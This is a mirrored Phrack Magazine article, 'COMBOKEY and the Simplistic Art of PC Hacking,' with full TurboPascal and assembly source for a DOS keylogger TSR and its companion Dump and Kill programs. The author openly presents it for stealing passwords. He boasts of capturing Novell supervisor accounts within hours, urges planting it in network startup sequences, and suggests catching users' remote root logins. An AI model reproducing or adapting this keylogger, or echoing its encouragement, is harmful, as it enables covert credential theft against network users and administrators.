mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
441 lines
12 KiB
Text
441 lines
12 KiB
Text
![]() |
==Phrack Magazine==
|
||
|
|
||
|
Volume Seven, Issue Forty-Eight, File 12 of 18
|
||
|
|
||
|
|
||
|
COMBOKEY and the Simplistic Art of PC Hacking
|
||
|
-or-
|
||
|
KeyTrap Revisited
|
||
|
|
||
|
by Sendai
|
||
|
(with apologies to Dcypher)
|
||
|
|
||
|
NOTE: Of course I take no responsibility when you use this and get
|
||
|
kicked out of school or something stupid. Besides, why would you be so
|
||
|
stupid as to get caught in the first place? :-) So be careful, and have
|
||
|
fun. Don't get stupid.
|
||
|
|
||
|
WHAT YOU NEED FOR ANY OF THIS TO MAKE SENSE:
|
||
|
* At least a reading knowledge of TurboPascal and 8086 assembly
|
||
|
* A tolerable understanding of how the PC actually works or
|
||
|
* A copy of Queue's "MS-DOS Programmer's Reference"
|
||
|
* A copy of that yellow-spined "Indespensable PC Hardware Reference" book
|
||
|
|
||
|
|
||
|
ON WITH IT...
|
||
|
It was with a little dissatisfaction that I read Dcypher's KeyTrap
|
||
|
article the other day (so I'm back-logged a few issues, so sue me!)
|
||
|
I've been foolin' around with a version of this that I first wrote about
|
||
|
five years ago during high school, and well, I thought mine was a little
|
||
|
easier to understand.
|
||
|
|
||
|
So I'm gonna show you my version, actually explain how the damn thing
|
||
|
works, and hope somebody out there has their day brightened by using
|
||
|
this program.
|
||
|
|
||
|
Note that the only reason I wrote this thing was to record passwords on
|
||
|
a Novell net. It will record all keypresses, but it really has limited
|
||
|
use other than hacking.
|
||
|
|
||
|
Fun fact: With this program, it has taken me an average of about six
|
||
|
hours to snag supervisor on every Novell net I've nailed. And I'm sure
|
||
|
you can do better. ;-)
|
||
|
|
||
|
|
||
|
PC KEYBOARD HANDLING 101
|
||
|
Okay, a quick review for those PC newbies out there. When a key is
|
||
|
pressed on a PC, it generates an interrupt 9 (keyboard interrupt),
|
||
|
causing the machine to look up the address of the 9th Interrupt Service
|
||
|
Routine. The ISR is typically in ROM; the interrupt vector itself is
|
||
|
not.
|
||
|
|
||
|
A key recorder is a program that simply latches itself into the
|
||
|
interrupt 9 handler by replacing the old vector with its own address.
|
||
|
By doing this, every time a key is pressed, we know about it.
|
||
|
|
||
|
|
||
|
ENTER COMBOKEY (That'd be the key recorder)
|
||
|
I differ with my strategy from Dcypher in that I don't bother going
|
||
|
directly to the keybard hardware. COMBOKEY just goes ahead and calls
|
||
|
the old ISR and then looks in the BIOS keyboard buffer to see what the
|
||
|
key was. Yeah, you don't get the funky-ass key combinations like
|
||
|
control-shift-right-alt-F2-Z, but hey, I'm just after the passwords.
|
||
|
|
||
|
When a new key is pressed, it's dumped in the buffer. When the buffer
|
||
|
is full, nothing happens. I'll leave writing it to a file as an
|
||
|
exercise to the reader.
|
||
|
|
||
|
My favorite feature, if I may say so myself, is the fact that COMBOKEY
|
||
|
has an API in it, sort of. Interrupt 255 is also latched and provides
|
||
|
the "user" an interface to the presently running copy of COMBOKEY. But
|
||
|
not just anyone can go poking into 255 to kill COMBOKEY or get a buffer
|
||
|
dump or whatever. First, you gotta send a combination.
|
||
|
|
||
|
Look at the "const" section of COMBOKEY and you'll see a constant array
|
||
|
of four bytes. Change these numbers to whatever the hell you want. To
|
||
|
use the COMBOKEY interface you need to send each of these bytes
|
||
|
sequentially in AX to ISR 255. Look at the "DoCombo" procedure in Dump
|
||
|
or Kill to see what I mean.
|
||
|
|
||
|
After you send the combo, you send one more byte that represents the
|
||
|
command.
|
||
|
|
||
|
Dump buffer: AX=C0h Dumps the buffer to a chunk of memory at ES:DI.
|
||
|
Get info: AX=C2h Sends a TinfoRec (see source) to ES:DI.
|
||
|
Kill: AX=C1h Deactivates the recorder.
|
||
|
|
||
|
There are two additional programs following: Dump and Kill. These just
|
||
|
use the interface to do their appropriate actions.
|
||
|
|
||
|
THE PROPER ETIQUETTE OF COMBOKEY
|
||
|
There's a good deal of social engineering involved with using COMBOKEY.
|
||
|
Since it works on only the machine you put it on, you have to know where
|
||
|
to put it in the first place to be most effective. (Or be really
|
||
|
resourceful and put it on every machine around.)
|
||
|
|
||
|
To maximize your amusement, get the supervisor password first, and then
|
||
|
put this program in the startup sequence of the network. Then go nuts.
|
||
|
|
||
|
This program gets REALLY fun when your net is equipped with TCP/IP apps
|
||
|
like Telnet, and some moron has their home machine hooked up to the
|
||
|
Net, and they actually log into it with root from your net. Instant
|
||
|
party.
|
||
|
|
||
|
NEAT TRICKS TO TRY
|
||
|
If I ever get around to it, it'd be cool to use the IPX interface to
|
||
|
actually broadcast the keystrokes over to a waiting machine for instant
|
||
|
feedback.
|
||
|
|
||
|
The next trick to try is to maybe build a hardware version of this with
|
||
|
a little microcontroller. A Motorola 68HC11 would do nicely. This
|
||
|
would get rid of the pesky problem of reseting the machine or turning
|
||
|
the power off.
|
||
|
|
||
|
Ah well. Comments and the like to jsrs@cyberspace.com. Happy hunting.
|
||
|
|
||
|
-------------------------------------------------------------------------------
|
||
|
{ Source notes:
|
||
|
This'll compile on TurboPascal 6 or better. Might even work with 5.
|
||
|
Why Turbo? Cause it generates damn tight code, and it's much more readable
|
||
|
for the newbies than all assembly. }
|
||
|
|
||
|
{ComboKey - It's a TSR, so we gotta do the mem setup. }
|
||
|
{$M 1024, 0, 2100}
|
||
|
program ComboKey;
|
||
|
|
||
|
uses Dos; { For Keep() }
|
||
|
|
||
|
const
|
||
|
DUMP_BUFFER = $C0;
|
||
|
KILL_RECORDER = $C1;
|
||
|
GET_INFO = $C2;
|
||
|
|
||
|
BUFSIZE = 2048; { In bytes, NOT paragraphs! }
|
||
|
DISPLAY_MAX = 100;
|
||
|
combo: Array[0..3] of Byte = ( 01, 01, 19, 74 );
|
||
|
|
||
|
type
|
||
|
PBuf = ^TBuf;
|
||
|
TBuf = Array[0..BUFSIZE-1] of Byte;
|
||
|
PInfoRec = ^TInfoRec;
|
||
|
TInfoRec = record
|
||
|
buffer_size: Word; { Word is 16 bit, unsigned }
|
||
|
overwrite: Word;
|
||
|
buffer_ptr: Word;
|
||
|
end;
|
||
|
|
||
|
var
|
||
|
old9o, old9s: Word; { Must be in this order! }
|
||
|
wptr: Word absolute $40:$1c; { Ptr to next avail slot in kbd buffer }
|
||
|
q_top: Word absolute $40:$80;
|
||
|
q_bot: Word absolute $40:$82;
|
||
|
buffer: PBuf;
|
||
|
buf_ptr: Word;
|
||
|
overwrite_ctr: Word;
|
||
|
last_wptr: Word;
|
||
|
tumbler: Byte; { How many numbers in the combo right so far? }
|
||
|
|
||
|
procedure SetVector( int: Byte; s, o: Word);
|
||
|
begin
|
||
|
asm
|
||
|
push ds
|
||
|
cli
|
||
|
mov ah, 25h
|
||
|
mov al, int
|
||
|
mov ds, s
|
||
|
mov dx, o
|
||
|
int 21h
|
||
|
sti
|
||
|
pop ds
|
||
|
end;
|
||
|
end;
|
||
|
|
||
|
procedure NewInt09(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
|
||
|
interrupt;
|
||
|
var
|
||
|
offset: Word;
|
||
|
c: Byte;
|
||
|
l: Word;
|
||
|
ctr: Word;
|
||
|
begin
|
||
|
{ First call the old handler. Do the pushf, cause this is an
|
||
|
interrupt handler. }
|
||
|
asm
|
||
|
pushf
|
||
|
call dword ptr [old9o] { Since old9s is next, it works }
|
||
|
cli
|
||
|
end;
|
||
|
|
||
|
{ This isn't a press, but a release - ignore it. }
|
||
|
if last_wptr = wptr then Exit;
|
||
|
|
||
|
last_wptr:=wptr;
|
||
|
|
||
|
{ Did the queue just wrap? }
|
||
|
if (wptr = q_top) then offset:=q_bot-2
|
||
|
else offset:=wptr-2;
|
||
|
|
||
|
Inc(buf_ptr);
|
||
|
if (buf_ptr = BUFSIZE) then begin { we'd write it, but oh well. }
|
||
|
buf_ptr:=0;
|
||
|
Inc(overwrite_ctr);
|
||
|
end;
|
||
|
|
||
|
buffer^[buf_ptr]:=Mem[$40:offset];
|
||
|
|
||
|
asm
|
||
|
sti
|
||
|
end;
|
||
|
end;
|
||
|
|
||
|
{ Here's the interface system. Don't bother saving the old $FF,
|
||
|
cause who uses it anyway?! }
|
||
|
procedure NewIntFF(Flags, CS, IP, AX, BX, CX, DX, SI, DI, DS, ES, BP: Word);
|
||
|
interrupt;
|
||
|
var
|
||
|
command: Word;
|
||
|
res, rdi: Word;
|
||
|
infoptr: PInfoRec;
|
||
|
l: Word;
|
||
|
begin
|
||
|
command:=AX;
|
||
|
res:=ES;
|
||
|
rdi:=DI;
|
||
|
|
||
|
if tumbler=4 then begin { we have a winner... }
|
||
|
tumbler:=0;
|
||
|
asm
|
||
|
sti
|
||
|
end;
|
||
|
|
||
|
case command of
|
||
|
DUMP_BUFFER: begin
|
||
|
asm
|
||
|
push ds
|
||
|
mov cx, BUFSIZE
|
||
|
mov es, [res]
|
||
|
mov di, [rdi]
|
||
|
mov ax, [WORD PTR buffer+2]
|
||
|
mov ds, ax
|
||
|
mov ax, [WORD PTR buffer]
|
||
|
mov si, ax
|
||
|
|
||
|
cld
|
||
|
rep movsb
|
||
|
pop ds
|
||
|
end;
|
||
|
end;
|
||
|
|
||
|
KILL_RECORDER: begin
|
||
|
SetVector(9, old9s, old9o);
|
||
|
end;
|
||
|
|
||
|
GET_INFO: begin
|
||
|
asm
|
||
|
mov es, [res]
|
||
|
mov di, [rdi]
|
||
|
mov ax, BUFSIZE
|
||
|
mov es:[di], ax
|
||
|
mov ax, [overwrite_ctr]
|
||
|
mov es:[di+2], ax
|
||
|
mov ax, [buf_ptr]
|
||
|
mov es:[di+4], ax
|
||
|
end;
|
||
|
end;
|
||
|
end;
|
||
|
|
||
|
asm
|
||
|
cli
|
||
|
end;
|
||
|
end;
|
||
|
|
||
|
if command=combo[tumbler] then Inc(tumbler)
|
||
|
else tumbler:=0;
|
||
|
end;
|
||
|
|
||
|
begin
|
||
|
asm
|
||
|
mov ah, $35
|
||
|
mov al, 9
|
||
|
int $21
|
||
|
|
||
|
mov ax, es
|
||
|
mov old9s, ax
|
||
|
mov old9o, bx
|
||
|
end;
|
||
|
|
||
|
SetVector(9, Seg(NewInt09), Ofs(NewInt09));
|
||
|
SetVector(255, Seg(NewIntFF), Ofs(NewIntFF));
|
||
|
|
||
|
buffer:=New(PBuf);
|
||
|
buf_ptr:=0;
|
||
|
overwrite_ctr:=0;
|
||
|
last_wptr:=0;
|
||
|
tumbler:=0;
|
||
|
|
||
|
Keep(0);
|
||
|
end.
|
||
|
|
||
|
|
||
|
|
||
|
-------------------------------------------------------------------------------
|
||
|
|
||
|
{ Kills the keyrecorder }
|
||
|
program Kill;
|
||
|
|
||
|
const
|
||
|
combo0 = 01;
|
||
|
combo1 = 01;
|
||
|
combo2 = 19;
|
||
|
combo3 = 74;
|
||
|
|
||
|
KILL_RECORDER = $C1;
|
||
|
|
||
|
procedure ResetCombo;
|
||
|
var
|
||
|
l: Word;
|
||
|
begin
|
||
|
for l:=1 to 4 do asm
|
||
|
mov ax, 0
|
||
|
int $ff
|
||
|
end;
|
||
|
end;
|
||
|
|
||
|
procedure DoCombo;
|
||
|
begin
|
||
|
asm
|
||
|
mov ax, combo0
|
||
|
int $ff
|
||
|
mov ax, combo1
|
||
|
int $ff
|
||
|
mov ax, combo2
|
||
|
int $ff
|
||
|
mov ax, combo3
|
||
|
int $ff
|
||
|
end;
|
||
|
end;
|
||
|
|
||
|
begin
|
||
|
ResetCombo;
|
||
|
DoCombo;
|
||
|
asm
|
||
|
mov ax, KILL_RECORDER
|
||
|
int $ff
|
||
|
end;
|
||
|
end.
|
||
|
|
||
|
|
||
|
-------------------------------------------------------------------------------
|
||
|
|
||
|
{ Syntax:
|
||
|
DUMP DESTFILE.FIL
|
||
|
|
||
|
This'll dump the buffer information and contents to the file. If
|
||
|
no file is given, it goes to the screen. }
|
||
|
|
||
|
program Dump;
|
||
|
|
||
|
const
|
||
|
combo0 = 01;
|
||
|
combo1 = 01;
|
||
|
combo2 = 19;
|
||
|
combo3 = 74;
|
||
|
|
||
|
DUMP_BUFFER = $C0;
|
||
|
GET_INFO = $C2;
|
||
|
|
||
|
type
|
||
|
PInfoRec = ^TInfoRec;
|
||
|
TInfoRec = record
|
||
|
buffer_size: Word;
|
||
|
overwrite: Word;
|
||
|
buffer_ptr: Word;
|
||
|
end;
|
||
|
|
||
|
var
|
||
|
info: TInfoRec;
|
||
|
buffer: Array[0..8191] of Byte;
|
||
|
l: Word;
|
||
|
f: Text;
|
||
|
|
||
|
procedure ResetCombo;
|
||
|
var
|
||
|
l: Word;
|
||
|
begin
|
||
|
for l:=1 to 4 do asm
|
||
|
mov ax, 0
|
||
|
int $ff
|
||
|
end;
|
||
|
end;
|
||
|
|
||
|
procedure DoCombo;
|
||
|
begin
|
||
|
asm
|
||
|
mov ax, combo0
|
||
|
int $ff
|
||
|
mov ax, combo1
|
||
|
int $ff
|
||
|
mov ax, combo2
|
||
|
int $ff
|
||
|
mov ax, combo3
|
||
|
int $ff
|
||
|
end;
|
||
|
end;
|
||
|
|
||
|
begin
|
||
|
Assign(f, ParamStr(1));
|
||
|
Rewrite(f);
|
||
|
|
||
|
ResetCombo;
|
||
|
|
||
|
DoCombo;
|
||
|
asm
|
||
|
mov ax, SEG info
|
||
|
mov es, ax
|
||
|
mov di, OFFSET info
|
||
|
mov ax, GET_INFO
|
||
|
int $ff
|
||
|
end;
|
||
|
|
||
|
writeln(f,'Buffer size: ',info.buffer_size);
|
||
|
writeln(f,'Buffer ptr: ',info.buffer_ptr);
|
||
|
writeln(f,'Overwrite: ',info.overwrite);
|
||
|
|
||
|
DoCombo;
|
||
|
asm
|
||
|
mov ax, SEG buffer
|
||
|
mov es, ax
|
||
|
mov di, OFFSET buffer
|
||
|
mov ax, DUMP_BUFFER
|
||
|
int $ff
|
||
|
end;
|
||
|
|
||
|
for l:=0 to info.buffer_ptr do begin
|
||
|
write(f, Char(buffer[l]));
|
||
|
if buffer[l] = 13 then write(f,#10);
|
||
|
end;
|
||
|
|
||
|
Close(f);
|
||
|
end.
|
||
|
|